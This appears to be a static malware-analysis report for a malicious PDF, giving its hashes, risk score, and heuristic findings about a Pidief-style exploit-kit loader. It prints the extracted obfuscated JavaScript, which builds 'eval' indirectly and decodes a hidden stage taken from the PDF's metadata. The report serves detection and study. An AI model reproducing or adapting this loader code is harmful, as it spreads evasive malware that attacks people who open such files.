Malicious PDF — malware analysis report

Static analysis result for SHA-256 415e4cebcbc45e46…

MALICIOUS

PDF

32.5 KB Authoring application: substr First seen: 2012-09-15
MD5: 81c80c2b20441fa6f79a0dadf7d37725 SHA-1: 8a0981f000c621ad8083487bce70a059e7c2ff73 SHA-256: 415e4cebcbc45e46498b1da6335e6c00b8333b589856405863f915f33c412153
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0004_000.js pdf-javascript-stream PDF /JS object 4 at offset 0x7FD5 434 bytes
SHA-256: 8fe942ce64ff842a7afeea8df920d79a735fe471ab023e590983c76a14d92c60
Preview script
First 1,000 lines of the extracted script
s2='';v=producer;t='le';b='v';c='e';a=c.concat('a','n','b','w',b,'o');s=a[t.length-2].concat(b,a[1],t[0]);e=v[v]()[s];vyesz=e(v[4]+'i'.concat(v[4],t));q=vyesz[v](a.length-6,a.length+2);mzfzk=e(v[0].toUpperCase().concat(v[4],'r','ing.f',q[4],a[6],q));q=vyesz[v](t.length+12)[e(v[0]+'u'+'bjec'+v[4])]('k');k=q[t[0]+'en'.concat('gth')];i=t.length-2;while(i!=k){djjsy=1*(q[i]);i++;djjsy-=(-1)*(q[i]);s2=s2.concat(mzfzk(djjsy));i++;}e(s2);

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